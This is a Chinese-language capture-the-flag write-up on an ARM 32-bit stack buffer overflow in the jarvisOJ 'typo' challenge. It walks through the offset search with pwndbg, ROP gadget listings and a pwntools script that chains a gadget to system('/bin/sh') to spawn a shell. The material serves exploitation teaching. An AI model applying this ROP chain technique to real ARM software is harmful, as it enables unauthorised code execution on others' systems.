文章目录

  • ARM buffer overflow初探
    • Basic
    • Challenge
      • 初步分析
      • 利用方法
        • 确定溢出位置
        • 查找相关gadgets
        • EXP

ARM buffer overflow初探

Basic

与x86架构类似,堆栈溢出利用也是基于控制流转移完成。但ARM架构下的寄存器、跳转指令和下一跳略有区别:

  • 函数传递参数区别:
    • ARM架构:r0~r3寄存器存储函数的1-4个参数,剩下的参数从右向左依次入栈,函数的返回值保存在r0中;
    • x86 32位程序将函数参数存在在栈的函数返回地址上方
    • x86-64将前6个参数存储在RDI, RSI, RDX, RCX, R8 和 R9 寄存器中,剩下参数保存在栈中
  • 跳转指令
    • ARM架构中bx/bl/b指令可以实现跳转
  • 下一条指令地址:
    • ARM架构存在在pc寄存器中
    • x86架构则是EIP寄存器

Challenge

题目下载链接:
https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/arm/jarvisOJ_typo

初步分析

$ file typo typo: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=211877f58b5a0e8774b8a3a72c83890f8cd38e63, stripped

ARM架构32位的程序 静态链接

$ checksec typo[*] '/home/mzgao/rop/bin/typo'    Arch:     arm-32-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x8000)

什么保护都没开

QEMU运行程序,在第二次输入长字符串时crash,证明存在buffer overflow

$ qemu-arm typo Let's Do Some Typing Exercise~Press Enter to get start;Input ~ if you want to quit------Begin------explosiveaaaaaaaaaaaaaaaaaaaaaE.r.r.o.r.butteraaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaE.r.r.o.r.achievementaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaqemu: uncaught target signal 11 (Segmentation fault) - core dumped

利用方法

确定溢出位置

首先在一个terminal中运行type程序

qemu-arm -g 8888 ./typo 

然后在另一个terminal中使用gdb调试,连接本地8888端口

使用cyclic 200 生成一个长度为200的随机字符串,然后c继续运行,

在qemu端输入200的字符串,gdb这端则可以计算crash的位置。

$ gdb-multiarchpwndbg> target remote localhost:8888Remote debugging using localhost:8888warning: No executable has been specified and target does not supportdetermining executable automatically.  Try using the "file" command.0x00008b98 in ?? ()LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────── R0   0x0 R1   0xfffef5c1 ◂— ldmdbvc r4!, {r1, r2, r3, r5, r8, sb, sl, fp, sp} ^ /* 0x79742f2e; './typo' */ R2   0x0 R3   0x0 R4   0x0 R5   0x0 R6   0x0 R7   0x0 R8   0x0 R9   0x0 R10  0x8af6c —▸ 0xa1e94 —▸ 0x6ff44 —▸ 0x7b918 ◂— 0x43 /* 'C' */ R11  0x0 R12  0x0 SP   0xfffef490 ◂— 1 PC   0x8b98 ◂— mov    fp, #0 /* 0xe3a0b000 */─────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────── ► 0x8b98    mov    fp, #0   0x8b9c    mov    lr, #0   0x8ba0    pop    {r1}   0x8ba4    mov    r2, sp   0x8ba8    str    r2, [sp, #-4]!   0x8bac    str    r0, [sp, #-4]!   0x8bb0    ldr    ip, [pc, #0x10]   0x8bb4    str    ip, [sp, #-4]!   0x8bb8    ldr    r0, [pc, #0xc]   0x8bbc    ldr    r3, [pc, #0xc]   0x8bc0    bl     #0x9ebc                       ──────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────00:0000│ sp 0xfffef490 ◂— 101:0004│    0xfffef494 —▸ 0xfffef5c1 ◂— ldmdbvc r4!, {r1, r2, r3, r5, r8, sb, sl, fp, sp} ^ /* 0x79742f2e; './typo' */02:0008│    0xfffef498 ◂— 003:000c│    0xfffef49c —▸ 0xfffef5c8 ◂— strvc  r3, [pc, #-0xd5f]! /* 0x752f3d5f; '_=/usr/bin/qemu-arm' */04:0010│    0xfffef4a0 —▸ 0xfffef5dc ◂— subpl  r4, r4, pc, asr #24 /* 0x50444c4f; 'OLDPWD=/home/mzgao/rop' */05:0014│    0xfffef4a4 —▸ 0xfffef5f3 ◂— ldrbpl r4, [pc], #-0x34c /* 0x545f434c; 'LC_TIME=zh_CN.UTF-8' */06:0018│    0xfffef4a8 —▸ 0xfffef607 ◂— cmppl  r3, #76, #10 /* 0x5353454c; 'LESSOPEN=| /usr/bin/lesspipe %s' */07:001c│    0xfffef4ac —▸ 0xfffef627 ◂— ldmdbmi pc, {r2, r3, r6, r8, sb, lr} ^ /* 0x495f434c; 'LC_IDENTIFICATION=zh_CN.UTF-8' */────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────── ► f 0   0x8b98─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────pwndbg> cyclic 200aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabpwndbg> cContinuing.Program received signal SIGSEGV, Segmentation fault.0x62616164 in ?? ()LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────── R0   0x0*R1   0xfffef294 ◂— 0x61616161 ('aaaa')*R2   0x7e R3   0x0*R4   0x62616162 ('baab') R5   0x0 R6   0x0 R7   0x0 R8   0x0*R9   0xa5ec ◂— push   {r3, r4, r5, r6, r7, r8, sb, lr} /* 0xe92d43f8 */*R10  0xa68c ◂— push   {r3, r4, r5, lr} /* 0xe92d4038 */*R11  0x62616163 ('caab') R12  0x0*SP   0xfffef308 ◂— rsbvs  r6, r1, #0x40000019 /* 0x62616165; 'eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n' */*PC   0x62616164 ('daab')─────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────Invalid address 0x62616164──────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────00:0000│ sp 0xfffef308 ◂— rsbvs  r6, r1, #0x40000019 /* 0x62616165; 'eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n' */01:0004│    0xfffef30c ◂— rsbvs  r6, r1, #0x80000019 /* 0x62616166; 'faabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n' */02:0008│    0xfffef310 ◂— rsbvs  r6, r1, #0xc0000019 /* 0x62616167; 'gaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n' */03:000c│    0xfffef314 ◂— rsbvs  r6, r1, #104, #2 /* 0x62616168; 'haabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n' */04:0010│    0xfffef318 ◂— rsbvs  r6, r1, #0x4000001a /* 0x62616169; 'iaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n' */05:0014│    0xfffef31c ◂— rsbvs  r6, r1, #0x8000001a /* 0x6261616a; 'jaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n' */06:0018│    0xfffef320 ◂— rsbvs  r6, r1, #0xc000001a /* 0x6261616b; 'kaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n' */07:001c│    0xfffef324 ◂— rsbvs  r6, r1, #108, #2 /* 0x6261616c; 'laabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n' */────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────── ► f 0 0x62616164─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────pwndbg> cyclic -l 0x62616164112

112个偏移位置

查找相关gadgets

$ ROPgadget --binary typo --only "pop"Gadgets information============================================================0x00008d1c : pop {fp, pc}0x00020904 : pop {r0, r4, pc}0x00068bec : pop {r1, pc}0x00008160 : pop {r3, pc}0x0000ab0c : pop {r3, r4, r5, pc}0x0000a958 : pop {r3, r4, r5, r6, r7, pc}0x00008a3c : pop {r3, r4, r5, r6, r7, r8, fp, pc}0x0000a678 : pop {r3, r4, r5, r6, r7, r8, sb, pc}0x00008520 : pop {r3, r4, r5, r6, r7, r8, sb, sl, fp, pc}0x00068c68 : pop {r3, r4, r5, r6, r7, r8, sl, pc}0x00014a70 : pop {r3, r4, r7, pc}0x00008de8 : pop {r4, fp, pc}0x000083b0 : pop {r4, pc}0x00008eec : pop {r4, r5, fp, pc}0x00009284 : pop {r4, r5, pc}0x000242e0 : pop {r4, r5, r6, fp, pc}0x000095b8 : pop {r4, r5, r6, pc}0x000212ec : pop {r4, r5, r6, r7, fp, pc}0x000082e8 : pop {r4, r5, r6, r7, pc}0x00043110 : pop {r4, r5, r6, r7, r8, fp, pc}0x00011648 : pop {r4, r5, r6, r7, r8, pc}0x00048e9c : pop {r4, r5, r6, r7, r8, sb, fp, pc}0x0000a5a0 : pop {r4, r5, r6, r7, r8, sb, pc}0x0000870c : pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}0x00011c24 : pop {r4, r5, r6, r7, r8, sb, sl, pc}0x000553cc : pop {r4, r5, r6, r7, r8, sl, pc}0x00023ed4 : pop {r4, r5, r7, pc}0x00023dbc : pop {r4, r7, pc}0x00014068 : pop {r7, pc}Unique gadgets found: 29

查找既能控制pc寄存器的,也能控制r0寄存器的gadgets即可

因此使用如下gadget

0x00020904 : pop {r0, r4, pc}

查找字符串位置

$ ROPgadget --binary typo --string "bin/sh"Strings information============================================================0x0006c385 : bin/sh

查找system函数位置

发现没有system函数位置,应该符号表被去除了,使用rizzo恢复符号表。

https://github.com/fireundubh/IDA7-Rizzo

Just copy rizzo.py into your IDA plugins directory.

将rizzo.py移动到ida的插件目录中

先用对相应架构的libc进行签名(File->Produce file->Rizzo signature file),然后在typo里读取签名(File->Load file->Rizzo signature file),即可恢复一部分

笔者是在服务器中随意找了个libc2.27.so

$ cp /usr/aarch64-linux-gnu/lib/libc-2.27.so ./

首先使用ida打开该libc,然后导出Rizzo符号表。

再打开typo,导入刚才导出的Rizzo符号表。

在没有恢复符号前,并没有system函数地址:

恢复符号后,即可看到system地址是0x000110B4:

EXP

此时栈内存如下:

from pwn import *import syspayload = 'a' * 112 + p32(0x00020904).decode("iso-8859-1") + p32(0x0006c384).decode('iso-8859-1') * 2 + p32(0x000110B4).decode('iso-8859-1')lrpayload = 'a' * 112 + p32(0x00014a70).decode('iso-8859-1') + p32(0x000096e0).decode('iso-8859-1') + 'aaaa'*2 + p32(0x00053004).decode('iso-8859-1') + 'aaaa' + p32(0x00020904).decode('iso-8859-1') + p32(0x0006c384).decode('iso-8859-1') *2 + p32(0x000110B4).decode('iso-8859-1')io = process('./typo')io.recv()io.sendline()io.sendline(payload)io.interactive()

其中lrpayload采用了一种更加复杂的跳转实现,栈结构如下: